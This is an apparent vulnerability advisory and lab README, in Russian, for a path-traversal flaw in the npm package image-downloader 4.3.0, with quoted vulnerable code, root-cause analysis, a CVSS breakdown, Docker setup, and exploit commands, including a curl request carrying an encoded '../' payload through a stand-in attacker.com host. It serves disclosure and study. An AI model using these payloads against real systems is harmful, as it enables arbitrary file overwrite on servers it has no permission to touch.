
Рекомендация и PoC для CVE-2026-103648 — обход пути (CWE-22) в image-downloader 4.3.0, позволяющий произвольную запись файлов, с анализом первопричины, патч-диффом и лабораторией Docker.
image-downloader
Обнаружено: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ Только в образовательных целях. Этот репозиторий документирует уязвимость, раскрытую в рамках ответственного раскрытия. Весь PoC-код предназначен исключительно для авторизованных исследований безопасности и тестирования в изолированных лабораторных средах. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-103648 |
| Запись в NVD | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| Оценка CVSS v3.1 | 9.1 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Некорректное ограничение пути к каталогу |
| Пакет | image-downloader (npm) от demsking |
| Недельные загрузки npm | ~11 000 (~38 000/месяц) — источник |
| Затронутые версии | < 4.3.1 (все версии, включая 4.3.0) |
| Исправленная версия | 4.3.1 |
| Кем присвоен | GitLab |
| Опубликовано | 2026-10-02 |
| Исследователь | Amirhossein Roustaei (@EterNullSec), Eternull Security |
Уязвимость находится в логике извлечения имени файла в [email protected]. Это фактический исходный код уязвимой версии (index.js, взятый напрямую из опубликованного npm-пакета):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) вызывается для всё ещё процентно-кодированного pathname URL. Последовательность вроде %2e%2e%2fpwned.sh не содержит литерального /, поэтому path.basename() воспринимает всё это как одно имя файла и возвращает его без изменений — ничего не удаляется.decodeURIComponent(). Именно этот шаг превращает %2e%2e%2f обратно в литеральный ../ — но к этому моменту он уже прошёл шаг basename, который должен был его очистить.path.join(options.dest, decodedBasename) вызывается со строкой, которая теперь содержит реальный сегмент ../. path.join() нормализует .. так же, как это сделал бы cd .. — поэтому итоговый путь записи разрешается в местоположение вне options.dest.Короче говоря: код декодирует имя файла правильным способом, но в неправильном порядке относительно path.basename(). Декодирование-затем-basename безопасно; basename-затем-декодирование — нет.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
Эта лабораторная работа демонстрирует механизм ошибки от начала до конца в одном скрипте для удобства воспроизведения, но стоит явно описать реальную модель атаки:
download.image({ url, dest }) из image-downloader со значением url, которое оно не полностью контролирует само — например, URL, отправленный пользователем (функции импорта аватаров/изображений), полученный из полезной нагрузки вебхука или прочитанный из RSS/контент-фида.url жертвы, и контролирует компонент пути этого URL — чего самого по себе достаточно, поскольку обход каталога находится в пути URL (%2e%2e%2f...), а не в теле ответа.authorized_keys или исполняемого файла, который приложение позже запускает).В exploit/exploit.py роли атакующего и жертвы объединены в один скрипт для удобства лабораторной работы (он поднимает как запрос «жертвы» к серверу, так и сервер полезной нагрузки, контролируемый атакующим). В реальном сценарии эксплуатации это две отдельные, не связанные стороны — PoC структурирован таким образом исключительно для того, чтобы уязвимость воспроизводилась одной командой.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
Уязвимый сервер будет доступен по адресу http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Или вручную с помощью curl (обход каталога находится в пути URL, а не в теле ответа):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1